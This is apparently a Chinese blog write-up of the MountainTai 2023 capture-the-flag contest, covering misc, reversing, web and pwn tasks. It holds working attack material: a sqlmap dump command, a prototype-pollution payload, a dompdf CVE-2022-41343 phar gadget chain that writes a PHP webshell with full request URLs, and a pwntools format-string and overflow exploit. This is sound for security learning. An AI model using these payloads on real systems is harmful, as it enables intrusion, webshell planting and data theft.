关于 DreamCat

主题名称:DreamCat | 版本:3.0.240224

主题开发:HanFengA7 | CornWorld

Designed by HanFengA7 Power by Typecho

Copyright © 2015-2024 by LychApe All rights reserved!

menu
refresh

MountainTai Writeup 2023

作者: ciaoℒy

时间:

竹林寺

给了个码表, 在cyberchief里对比了一下, 长度和base32一样, 应该是换表的base32

image-20230915084208695

basecrack直接解出flag

image-20230915084115468

dir_pacp

流量包里搜索"flag", 发现存在ftp-data流量

image-20230915085031573

直接导出对象, 发现有字典. 爆破压缩包即可得到flag

image-20230915085002869

孔子庙

修改png的高度得到flag

image-20230915101145440

十八盘

打开key文件, 发现结尾有IEND字样, 怀疑可能是PNG文件. 正好有一个hint.png, 因为png文件包括IHEAD,IDATA,IEND三个标志性的部分, key文件缺少IHEAD和IDATA, 所以尝试用hint.png的部分内容进行补充:

image-20230915101705003

尝试修改高度, 但是依然显示不出来. 利用ImHex打开hint.png进行分析, 在IDATA段中有部分内容表示"长度". 其值与hint.png的文件大小相近.

image-20231102102510341

image-20230915101901783

修改key.png的相应长度, 改为hex(5343).

image-20230915105717322

得到了一个key.

image-20230915105836873

手头能与misc + 图片 + key三个关键字匹配的东西只有"加密lsb隐写"和"steghide"了. 测试发现steghide只支持jpg, 用lsb解码可得到flag:

image-20230915102213387

普照寺

输入'试了一下, 有waf. 输入"id=1"可以查询到文章

把链接复制给sqlmap, 可以直接注入:

image-20230915104320305

最终得到flag:

sqlmap -u http://192.168.200.254:25078/index.php?id=1 -D ctf -T flag --dump

image-20230915104401320

日观峰

Ghidra逆向, 核心代码如下:

  base64_map = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
  flag_len = strlen(flag_str);
  local_1a4 = (int)flag_len;
  if (local_1a4 % 3 == 0) {
    local_1c8[1] = local_1a4 / 3 << 2;
  }
  else {
    local_1c8[1] = (local_1a4 / 3) * 4 + 4;
  }
  local_114 = 0;
  for (local_134 = 0; local_134 < local_1c8[1] + -2; local_134 = local_134 + 4) {
      // 这里有一个异或操作, 而且是把base64的结果进行异或
    abStack_182[(longlong)local_134 + 2] = base64_map[(int)(uint)(byte)flag_str[local_114] >> 2]  ^ 4
    ;
    abStack_182[(longlong)(local_134 + 1) + 2] =
         base64_map
         [(int)(((byte)flag_str[local_114] & 3) << 4 | (int)(uint)(byte)flag_str[local_114 + 1] >>  4
               )] ^ 5;
    abStack_182[(longlong)(local_134 + 2) + 2] =
         base64_map
         [(int)(((byte)flag_str[local_114 + 1] & 0xf) << 2 |
               (int)(uint)(byte)flag_str[local_114 + 2] >> 6)] ^ 6;
    abStack_182[(longlong)(local_134 + 3) + 2] =
         base64_map[(int)((byte)flag_str[local_114 + 2] & 0x3f)] ^ 7;
    local_114 = local_114 + 3;
  }
  puVar2 = (undefined *)((longlong)local_1a4 % 3 & 0xffffffff);
  local_24 = (int)puVar2;
  if (local_24 == 1) {
    abStack_182[(longlong)(local_134 + -2) + 2] = 0x3d;
    abStack_182[(longlong)(local_134 + -1) + 2] = 0x3d;
  }
  else if (local_24 == 2) {
    abStack_182[(longlong)(local_134 + -1) + 2] = 0x3d;
  }
  for (local_134 = 0; local_134 < 42; local_134 = local_134 + 1) {
    puVar2 = &DAT_1400dc000;
    if (abStack_182[(longlong)local_134 + 2] != (&DAT_1400dc000)[local_134]) {
      thunk_FUN_140045110(0x1400c50f0,&DAT_1400dc000,param_3,param_4);
      thunk_FUN_14005b9f0(0);
    }
  }

根据字符串的特征, 猜测极有可能是base64编码. 但是分析可以看到是一个变异的base64, 每四组base64的结果会与[4,5,6,7]数组进行异或. 目标bytes是&DAT_1400dc000

编写脚本先处理异或的结果:

$base = @( 0x5e, 0x68, 0x7e, 0x6f, 0x5e, 0x36, 0x72, 0x6f, 0x60, 0x68, 0x4c, 0x6a, 0x65, 0x36, 0x62, 0x74, 0x60, 0x52, 0x6e, 0x76, 0x5e, 0x42, 0x76, 0x7f, 0x60, 0x4d, 0x5c, 0x77, 0x67, 0x37, 0x7e, 0x72, 0x5e, 0x68, 0x33, 0x33, 0x65, 0x42, 0x50, 0x6c, 0x5e, 0x4d, 0x35, 0x4a, 0x00 )

$flag = @();

foreach($i in 1..$base.Count) {
    $flag += $base[$i - 1] -bxor (($i - 1) % 4 + 4);
}

echo "$([char[]]$flag -join '')"

得到:

image-20230915105234523

直接base64解密得到flag

image-20230915105203140

碧霞祠

源码审计, 是nodejs:

const app = require('express')() 
const session = require('express-session')
const bodyParser = require('body-parser') 
const rand = require('string-random') 
const SECRET = rand(32, '0123456789abcdef') 
const fs = require("fs") 
const LISTEN = '0.0.0.0' 
const PORT = 8000 
app.use(bodyParser.urlencoded({ extended: false })) 
app.use(bodyParser.json()) 

//merge一定存在原型链污染, 不然这道题考什么?
function merge(user, source) { 
    for (let key in source) { 
        // 这里是将source给merge到user里面, 而且用的是in关键字, 会出现__proto__
        if (key in source && key in user) { 
            merge(user[key], source[key]) 
        } else { 
            user[key] = source[key] 
        } 
    } return user; 
} 

app.get('/', (req, res) => { 
    res.send('/source') 
}) 

// 传任意用户名和密码即可登录
app.post('/login', (req, res) => { 
    let user = {} 
    let json = JSON.parse(req.body.json) 
    user = merge(user, json) 
    if (user['name'] != null && user['pass'] != null) { 
        res.send("登陆成功") 
    } res.send("登陆失败") 
}) 

app.get('/index', (req, res) => { 
    let user = {} 
    try { 
        if (user.flag === "getIt_!") 
        res.send(fs.readFileSync('/flag').toString()); 
    } catch (e) { 
        res.send("error!") 
    } 
    res.send("can't get flag") 
}) 

app.get('/source', (req, res) => { 
    var data = fs.readFileSync('app.js'); 
    res.send(data.toString()); 
}) 

app.listen(PORT, LISTEN, () => { 
    console.log(`listening ${LISTEN}:${PORT}...`) 
})

只需要构造payload, 使Object对象存在flag属性, 并使其值等于"getIt_!", 即可

json={"name": "admin", "pass": "1' or 1=1 #--", "__proto__": {"flag" : "getIt_!"}}

image-20230915112035143

零岩寺

一个win32程序, 输入密码会把flag.txt处理成flag1.txt.

ghidra进行静态分析, 关键代码如下:

    else if (uStack_2e4 == 0x100) {
      GetWindowTextA(pHStack_300,(LPSTR)abStack_360,9);
      eStack_3a4 = fopen_s(apFStack_2c0,"flag.txt","rb+");
      sVar1 = fread(auStack_340,0x20,1,apFStack_2c0[0]);
      aiStack_3c8[1] = (int)sVar1;
      if (aiStack_3c8[1] != 0) {
        thunk_FUN_140044380((longlong)auStack_340,0x20,(longlong)abStack_360,8);
      }
      thunk_FUN_14005b994(apFStack_2c0[0]);
      if ((eStack_3a4 == 0) && (eStack_384 = fopen_s(apFStack_2a0,"flag1.txt","w"), eStack_384 ==  0)
         ) {
          // 写文件, apFStack_2a0是句柄, 返回写的长度
        _Var2 = thunk_FUN_14005c56c(auStack_340,0x20,1,(longlong)apFStack_2a0[0]);
        iStack_284 = (int)_Var2;
        if (iStack_284 != 0) {
            // 这里对一个变量进行了异或运算
          for (uStack_264 = 0; uStack_264 < 8; uStack_264 = uStack_264 + 1) {
            abStack_360[(int)uStack_264] = abStack_360[(int)uStack_264] ^ 0x18;
          }
            // 还是写文件的函数
          _Var2 = thunk_FUN_14005c56c(abStack_360,7,1,(longlong)apFStack_2a0[0]);
          iStack_244 = (int)_Var2;
          if (iStack_244 == 0) {
            MessageBoxW(param_1,L"加锁失败",L"警告",0);
          }
          else {
            thunk_FUN_14005b994(apFStack_2a0[0]);
            MessageBoxW(param_1,L"加锁成功",L"警告",0);
          }
        }
      }
    }

可以分析出, 该程序会在flag1.txt后面追加八个字节的变量, 该变量与0x18逐字节做异或运算. 因此, 编写脚本在flag1.txt中提取该变量:

$content = [System.IO.File]::ReadAllBytes(".\flag1.txt");
$key = 1..8 | % {
    $content[0-$_] -bxor 0x18;
}
[array]::Reverse($key);
[char[]]$key -join ""

可以得到一个字符串, 后七个字节与在密码框中输入的密码的前七个字符相同. 但是第一个字节不相同.

尝试还原flag.txt文件中的该变量:

image-20230915124451594

可以猜到源文件加密时候的密码是ashjkgg%w, 其中%w表示一个ascii字符. 先把gashjkgg输入,

直接得到了flag(????)

image-20230915124952867

关帝庙

网页使用了Symfony 5.4.13框架, 查找框架的路由

image-20230915130235510

发现/pdf路由使用了库DomPdf. 访问即可自动下载pdf文件.

在本机搜索相关cve, 发现dompdf存在CVE-2022-41343漏洞, 且版本匹配:

image-20230915130813556

根据该cve的描述, DomPDF框架在接收到带有指定字体的<style>标签的HTML内容的时候, 会自动请求字体文件, 并将其缓存到/vendor/dompdf/dompdf/lib/fonts/目录下, 且字体缓存文件的文件名为${fontnme}_normal_md5(${css_url}).ttf. 因此, 可以使用base64编码的url上传一份字体文件.

同时, 该库还会校验该文件是否具有有效的ttf文件信息, 因此需要使用程序生成一份空字体文件:

#!/usr/bin/env python3
import fontforge
import os
import sys
import tempfile
from typing import Optional

def main():
    sys.stdout.buffer.write(do_generate_font())

def do_generate_font() -> bytes:
    fd, fn = tempfile.mkstemp(suffix=".ttf")
    os.close(fd)
    font = fontforge.font()
    font.copyright = "DUMMY FONT"
    font.generate(fn)
    with open(fn, "rb") as f:
        res = f.read()
    os.unlink(fn)
    result = res
    return result

if __name__ == "__main__":
    main()

根据cve2022-41343的利用说明, 可以利用phar协议读取一份phar文件, 触发反序列化漏洞, 从而实现cve. 因此, 还需准备一份phar文件.

查找反序列化链

这个其实是TQLCTF-SQL_TEST出题笔记 | gml's blog (igml.top)

寻找一些可用的魔术方法, 在vendor/symfony/cache/Traits/RedisProxy.php 定义的RedisProxy类存在__call方法:

public function __call(string $method, array $args)
{
    $this->ready ?: $this->ready = $this->initializer->__invoke($this->redis);
    return $this->redis->{$method}(...$args);
}

可以调用任意类的 __invoke 方法,并且参数可控。寻找可利用的 __invoke,在vendor/doctrine/doctrine-bundle/Dbal/SchemaAssetsFilterManager.php定义的SchemaAssetsFilterManager类:

/** @param string|AbstractAsset $assetName */
public function __invoke($assetName): bool
{
    foreach ($this->schemaAssetFilters as $schemaAssetFilter) {
        if ($schemaAssetFilter($assetName) === false) {
            return false;
        }
    }
    return true;
}

可以发现明显的动态函数调用,并且函数名和参数都可控。与之类似的vendor/symfony/console/Helper/Dumper.php 定义的Dumper类,这个更直接一些:

public function __invoke($var): string
{
    return ($this->handler)($var);
}

现在只需在 __destruct 中找到任意一个可控变量对任意函数的调用即可,类似$xxxx->xxxx(),这应该不难寻找,在vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php中定义的CacheAdapter类:

public function __destruct()
{
    $this->commit();
}

跟进:

image-20220220170844516

得到生成phar的反序列化链:

<?php
namespace Symfony\Component\Console\Helper {
    class Dumper
    {
        private $handler;
        public function __construct()
        {
            $this->handler = 'system';
        }
    }
}
namespace Symfony\Component\Cache\Traits {
    class RedisProxy
    {
        private $redis;
        private $initializer;
        private $ready = false;
        public function __construct()
        {
        $this->redis = 'echo \'<?php eval($_POST[\'xmd\']);?>\' > /var/www/html/sh31l.php';
            $this->initializer = new \Symfony\Component\Console\Helper\Dumper();
//            $this->initializer = new \Doctrine\Bundle\DoctrineBundle\Dbal\SchemaAssetsFilterManager();
        }
    }
}
namespace Doctrine\Common\Cache\Psr6 {
    class CacheAdapter
    {
        private $deferredItems;
        public function __construct()
        {
            $this->deferredItems = array(new \Symfony\Component\Cache\Traits\RedisProxy());
        }
    }
}
namespace {
    $a = new Doctrine\Common\Cache\Psr6\CacheAdapter();
    $phar = new Phar('test.phar');
    $phar->stopBuffering();
    // 需使用空字体文件做phar的头
    $phar->setStub(file_get_contents("./font.ttf") . "<?php __HALT_COMPILER(); ?>");
    $phar->addFromString('test.txt', 'test');
    $phar->setMetadata($a);
    $phar->stopBuffering();
}

最终, 生成两个payload:

http://192.168.135.135:21080/public/index.php/pdf?content=<style>@font-face+{+font-family:'exploit';+src:url('data:text/plain;base64,AAEAAAANAIAAAwBQRkZUTaJBGhAAAAVwAAAAHE9TLzJVeV76AAABWAAAAGBjbWFwAA0DlgAAAcQAAAE6Y3Z0IAAhAnkAAAMAAAAABGdhc3D%252F%252FwADAAAFaAAAAAhnbHlmPaWWPgAAAwwAAABUaGVhZCK8eBkAAADcAAAANmhoZWEEIAAAAAABFAAAACRobXR4ArkAIQAAAbgAAAAMbG9jYQAqAFQAAAMEAAAACG1heHAARwA5AAABOAAAACBuYW1lsiInRgAAA2AAAAHjcG9zdP%252B3ADIAAAVEAAAAIgABAAAAAQAAcZ3cu18PPPUACwPoAAAAAOEpmk0AAAAA4SmaTQAhAAABKgKaAAAACAACAAAAAAAAAAEAAAKaAAAAWgAAAAD%252F%252FwEqAAEAAAAAAAAAAAAAAAAAAAAAAAEAAAADAAgAAgAAAAAAAgAAAAEAAQAAAEAALgAAAAAABAH0AZAABQAAAooCvAAAAIwCigK8AAAB4AAxAQIAAAIABQMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUGZFZACA%252F%252F8AAAMg%252FzgAWgKaAAAAAAABAAAAAAAAAAAAAAAgAAEBbAAhAAAAAAFNAAAAAAADAAAAAwAAABwAAQAAAAAANAADAAEAAAAcAAQAGAAAAAIAAgAAAAD%252F%252FwAA%252F%252F8AAQAAAAABBgAAAQAAAAAAAAABAgAAAAIAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACECeQAAACoAKgAqAAIAIQAAASoCmgADAAcALrEBAC88sgcEAO0ysQYF3DyyAwIA7TIAsQMALzyyBQQA7TKyBwYB%252FDyyAQIA7TIzESERJzMRIyEBCejHxwKa%252FWYhAlgAAAAADgCuAAEAAAAAAAAACgAWAAEAAAAAAAEACQA1AAEAAAAAAAIABwBPAAEAAAAAAAMAJQCjAAEAAAAAAAQACQDdAAEAAAAAAAUADwEHAAEAAAAAAAYACQErAAMAAQQJAAAAFAAAAAMAAQQJAAEAEgAhAAMAAQQJAAIADgA%252FAAMAAQQJAAMASgBXAAMAAQQJAAQAEgDJAAMAAQQJAAUAHgDnAAMAAQQJAAYAEgEXAEQAVQBNAE0AWQAgAEYATwBOAFQAAERVTU1ZIEZPTlQAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAFIAZQBnAHUAbABhAHIAAFJlZ3VsYXIAAEYAbwBuAHQARgBvAHIAZwBlACAAMgAuADAAIAA6ACAAVQBuAHQAaQB0AGwAZQBkADEAIAA6ACAAMQA1AC0AOQAtADIAMAAyADMAAEZvbnRGb3JnZSAyLjAgOiBVbnRpdGxlZDEgOiAxNS05LTIwMjMAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAFYAZQByAHMAaQBvAG4AIAAwADAAMQAuADAAMAAwAABWZXJzaW9uIDAwMS4wMDAAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAAACAAAAAAAA%252F7UAMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH%252F%252FwACAAAAAQAAAADf7eV1AAAAAOEpmk0AAAAA4SmaTTw%252FcGhwIF9fSEFMVF9DT01QSUxFUigpOyA%252FPg0KVQIAAAEAAAARAAAAAQAAAAAAHwIAAE86Mzk6IkRvY3RyaW5lXENvbW1vblxDYWNoZVxQc3I2XENhY2hlQWRhcHRlciI6MTp7czo1NDoiAERvY3RyaW5lXENvbW1vblxDYWNoZVxQc3I2XENhY2hlQWRhcHRlcgBkZWZlcnJlZEl0ZW1zIjthOjE6e2k6MDtPOjQxOiJTeW1mb255XENvbXBvbmVudFxDYWNoZVxUcmFpdHNcUmVkaXNQcm94eSI6Mzp7czo0ODoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXFRyYWl0c1xSZWRpc1Byb3h5AHJlZGlzIjtzOjYxOiJlY2hvICc8P3BocCBldmFsKCRfUE9TVFsneG1kJ10pOz8%252BJyA%252BIC92YXIvd3d3L2h0bWwvc2gzMWwucGhwIjtzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcVHJhaXRzXFJlZGlzUHJveHkAaW5pdGlhbGl6ZXIiO086Mzk6IlN5bWZvbnlcQ29tcG9uZW50XENvbnNvbGVcSGVscGVyXER1bXBlciI6MTp7czo0ODoiAFN5bWZvbnlcQ29tcG9uZW50XENvbnNvbGVcSGVscGVyXER1bXBlcgBoYW5kbGVyIjtzOjY6InN5c3RlbSI7fXM6NDg6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxUcmFpdHNcUmVkaXNQcm94eQByZWFkeSI7YjowO319fQgAAAB0ZXN0LnR4dAQAAAAAAAAABAAAAAx%252Bf9ikAQAAAAAAAHRlc3SppCIFu74DbiVWmrWpw7S9zxTYG%252FQAved9Zr8BJE5jZwMAAABHQk1C');+font-weight:'normal';+font-style:'normal';}</style>

http://192.168.135.135:21080/public/index.php/pdf?content=<style>@font-face+{+font-family:'exploit';+src:url('phar%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2F%2Fvendor%2Fdompdf%2Fdompdf%2Flib%2Ffonts%2Fexploit_normal_bb4c529eca1a98549c8b00f2839d683a.ttf%23%23');+font-weight:'normal';+font-style:'normal';}</style>

使用蚁剑连接, 即可得到flag

中天门

程序主代码如下:

  __isoc99_scanf(&DAT_0010313f,local_132);
  sVar2 = strlen(local_132);
// 这两个函数不知道什么意思, 动态调试看看运行结果
  FUN_0010139c(local_198,local_132,(uint)sVar2);
  FUN_001014d5((long)local_128,local_198);
// 登录判断的逻辑在这里
  iVar1 = strcmp(&DAT_00103010,local_128);
  if ((iVar1 != 0) ||
     ((iVar1 = strcmp(&DAT_00103010,local_128), iVar1 == 0 && (local_132[0] != 'A')))) {
    puts(&DAT_00103142);
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  puVar3 = &DAT_0010315d;
  puts(&DAT_0010315d);
  for (local_1a0 = 2; local_1a0 != 0; local_1a0 = local_1a0 + -1) {
    FUN_0010235e();
    iVar1 = FUN_0010238d();
    if (iVar1 == 3) {
                    /* WARNING: Subroutine does not return */
      reboot((int)puVar3);
    }
    if (iVar1 < 4) {
      if (iVar1 == 1) {
        FUN_001023e0();
      }
      else if (iVar1 == 2) {
        FUN_001024c3();
      }
    }
  }

需要登录, 动态调试一下, 发现FUN_0010139cFUN_001014d5两个函数其实是在对输入的密码进行md5计算

image-20230915142835834

图中输入的密码是"test", strcmp函数的第二个参数为"098f6bcd4621d373cade4e832627b4f6", 正好是md5(test)

DAT_00103010的内容为: { 0x4d, 0x89, 0x00, 0x4a, 0xb4, 0x7e, 0x54, 0xc2, 0xf7, 0x3a, 0xd4, 0xc0, 0xeb, 0x39, 0x74, 0x70 }

又因为strcmp函数遇到"\0"即停止, 因此该md5校验其实只校验前三个字节: {0x4d, 0x89, 0x00}. 根据!strcmp(s1, s2) && v8[0] != 'A', 密码的第一个字符还必须等于A

编写脚本爆破得到密码: A9477134

import hashlib

start = "4d8900"
while True:
    for i in range(100000000):
        s='A'+str(i)
        if hashlib.md5(s.encode()).hexdigest().startswith(start):
            print(s)

登录之后, 输入1查询电表, 可进入下述函数:

void FUN_001023e0(void) {
  int iVar1;
  time_t tVar2;
  long in_FS_OFFSET;
  undefined local_78 [16];
  char local_68 [88];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  tVar2 = time((time_t *)0x0);
  srand((uint)tVar2);
  puts(&DAT_00103088);
  memset(local_78,0,0x10);
  memset(local_68,0,0x50);
  read(0,local_78,0x10);
  iVar1 = rand();
    //存在格式化字符串漏洞, 可泄露canery和base addr
  sprintf(local_68,&DAT_001030ae,local_78,(ulong)(iVar1 % 0xbb9 + 2000));
  printf(local_68);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

得到exp如下:

#coding=utf-8
from pwn import *
# io=process('./elec_control')
io = remote("192.168.200.254", 20063)

io.recvuntil(':')
io.sendline('A9477134')
io.recvuntil('3.重启设备\n')
io.send(b'1')
io.recvuntil(':\n')
io.send('%21$p%23$p')
io.recv(6)
canary=int(io.recv(18),16)
pie_base=int(io.recv(14),16)-0x00000000000026F4
log.success("canary => {}".format(hex(canary)))
log.success("pie_base => {}".format(hex(pie_base)))

backdoor=pie_base+0x00000000000022EA
payload=b'a'*0x108+p64(canary)+p64(0xdeadbeef)+p64(backdoor)
io.recvuntil('3.重启设备\n')
io.send('2')
io.recvuntil(':\n')
io.send(payload)

io.interactive()

得到flag:

image-20230915145531642


#本文链接:https://blog.chaol.top/archives/80.html
#本文采用 CC BY-NC-SA 4.0 协议进行许可
#如无特别声明,该文章均为 ciaoℒy 原创,转载请遵循 署名-非商业性使用 4.0 国际(CC BY-NC 4.0)协议,即转载请注明文章来源。
#最后编辑时间为: 2023 年 11 月 02 日
WriteUp
none

create 添加新评论


account_circle
email
language
textsms



加我的QQ
加我的微博
加我的支付宝
加我的微信